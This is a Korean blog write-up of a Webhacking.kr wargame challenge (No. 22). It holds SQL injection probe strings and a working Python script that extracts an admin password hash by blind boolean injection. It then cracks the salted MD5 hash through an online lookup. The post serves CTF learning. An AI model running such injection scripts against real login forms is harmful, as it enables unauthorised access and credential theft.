반응형
안녕하세요.
웹 해킹 22번 문제풀이 하겠습니다.
username: admin ' or 1=1 # login -> Wrong password!
username: admin 'and 1=2 # login -> Login fail !
-> 이 문제는 참과 거짓의 결과 값을 사용한 Blind SQL Injection 문제이고, admin계정의 pw를 찾으면 문제를 해결할 수 있을 거 같습니다.
pw를 알아내기 위해 파이썬 코드를 사용해보겠습니다.
import requests
url = 'https://webhacking.kr/challenge/bonus-2/index.php'
cookies = {'PHPSESSID':'s2o4ff27o3c26mco476599choq'}
pw_length =""
pw =""
#pw_length
for i in range(0,100):
data = {"uuid":"admin' and length(pw) ={}#".format(i),"pw":"a"}
r = requests.post(url, cookies=cookies, data=data)
if r.text.find("Wrong password!") !=-1:
pw_length = i
#print(pw_length)
break
print("pw_length :", pw_length)
#pw
for i in range(1,pw_length+1):
for j in range(33,133):
data = {"uuid":"admin' and ascii(substr(pw,{},1))={}#".format(i,j), "pw":"a"}
r = requests.post(url, cookies=cookies, data=data)
if r.text.find("Wrong password!") != -1:
pw += chr(j)
#print(i, "pw is",pw)
break
print("pw is :", pw)
pw가 32자의 hash값을 보여주는데 MD5 기법을 사용했다고 생각을 해볼 수 있습니다.
MD5 디코딩을 해주면, wowapple이 나오는 것을 볼 수 있습니다.
www.md5online.org/md5-decrypt.html
이후 admin/wowapple로 로그인을 해보았는데 login fail! 이 나온다.
그렇다면 계정을 test/test로 생성 후 로그인을 시도해보겠습니다.
결과로 나온 해쉬값을 MD5 디코더에 돌리면, testapple이 나오는 것을 볼 수 있습니다.
결국, apple은 salt값이고 admin/wow로 로그인을 해야 한다는 것을 알 수 있습니다.
감사합니다.
반응형
'Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 24번 문제풀이 (0) | 2020.12.26 |
---|---|
Webhacking.kr 23번 문제풀이 (0) | 2020.12.25 |
Webhacking.kr 21번 문제풀이 (4) | 2020.12.19 |
Webhacking.kr 20번 문제풀이 (0) | 2020.12.09 |
Webhacking.kr 19번 문제풀이 (0) | 2020.12.07 |